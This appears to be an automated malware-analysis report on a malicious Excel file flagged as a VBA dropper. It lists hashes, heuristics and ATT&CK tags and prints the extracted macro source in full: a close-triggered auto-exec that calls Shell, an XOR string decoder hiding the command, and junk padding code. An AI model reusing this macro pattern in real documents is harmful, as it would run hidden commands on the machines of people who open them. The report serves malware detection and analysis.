Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6e4279f8b61daf28…

MALICIOUS

Office (OLE)

42.0 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel First seen: 2020-09-07
MD5: e06d984db3f2a40c20158e0e3a829cb3 SHA-1: adaf8b3f71c93d388f6d587316dc470e0554c4b3 SHA-256: 6e4279f8b61daf28659079bc8a1c77d5faff9e1ef9f46a5d3b6a5152b93bfc7b
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing VBA macros. The macros execute the `Shell` function, first with the hardcoded string "calc", and then with a string constructed from obfuscated calls to `mxPddUbU0`. This indicates the macro is designed to execute arbitrary commands, likely downloading and running a second-stage payload. The ClamAV detection name 'Xls.Dropper.Agent-7533376-0' further supports this dropper functionality.

Heuristics 4

  • ClamAV: Xls.Dropper.Agent-7533376-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7533376-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2566 bytes
SHA-256: 6dc3ce42588add37cc696aeb8552c5a361187c48051f3022259fc5c448fa4aab
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub lodhi1()
lodhi2


End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)
lodhi1
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module2"
Sub lodhi2()


lodhi3


Var = "calc"
Shell (Var)
End Sub

Attribute VB_Name = "Module3"
Sub lodhi3()




LUN1 = mxPddUbU0("*G !6 +@#7 Bz=", "G4mUW1C4W")

LUN2 = mxPddUbU0("t& Z", "ZKuuXyrIn")

LUN3 = mxPddUbU0("!* -   ,++6 %   ", "INkFxeoBF")

LUN = LUN1 + LUN2 + LUN3

Shell (LUN)

End Sub
Private Function IgbEFmtLTJpkljo()
Dim feukneDgLJrgAqhv As Long
feukneDgLJrgAqhv = "5415"

End Function
Private Sub bbCKYzTyQoApm()
Dim feukneDgLJrgAqhv As Long
feukneDgLJrgAqhv = "5415"
Dim BMSOarsNPZwdGQDJdla As Long
BMSOarsNPZwdGQDJdla = "3142"

End Sub
Public Sub zEqjqUvhwADvTxc()
Dim feukneDgLJrgAqhv As Long
feukneDgLJrgAqhv = "5415"
Dim BMSOarsNPZwdGQDJdla As Long
BMSOarsNPZwdGQDJdla = "3142"
Dim GxLVEEreFcoCkBnrQFC As Integer
GxLVEEreFcoCkBnrQFC = "5669"

End Sub


Public Function mxPddUbU0(ByVal e18vqXcSL As String, ByVal iynWwyapN As String) As String

Dim v5OmfU7lM As Long

    For v5OmfU7lM = 1 To Len(e18vqXcSL)

        mxPddUbU0 = mxPddUbU0 & Chr(Asc(Mid(iynWwyapN, IIf(v5OmfU7lM Mod Len(iynWwyapN) <> 0, v5OmfU7lM Mod Len(iynWwyapN), Len(iynWwyapN)), 1)) Xor Asc(Mid(e18vqXcSL, v5OmfU7lM, 1)))

    Next v5OmfU7lM

End Function
Private Sub EKGSVkFHQbV()
GoTo UOEkttsxibiMaZp
UOEkttsxibiMaZp:

End Sub
Private Sub vnLbTDmoIlqDNj()
GoTo UOEkttsxibiMaZp
UOEkttsxibiMaZp:
Dim TSuctfjJjuoGDbw As Integer
TSuctfjJjuoGDbw = 11
Do While TSuctfjJjuoGDbw < 20
   DoEvents: TSuctfjJjuoGDbw = TSuctfjJjuoGDbw + 1
Loop

End Sub
Private Function mAVJTrmPQxRQfUAJJINk()
GoTo UOEkttsxibiMaZp
UOEkttsxibiMaZp:
Dim TSuctfjJjuoGDbw As Integer
TSuctfjJjuoGDbw = 11
Do While TSuctfjJjuoGDbw < 20
   DoEvents: TSuctfjJjuoGDbw = TSuctfjJjuoGDbw + 1
Loop
GoTo pFILDcrkTCEnP
pFILDcrkTCEnP:

End Function

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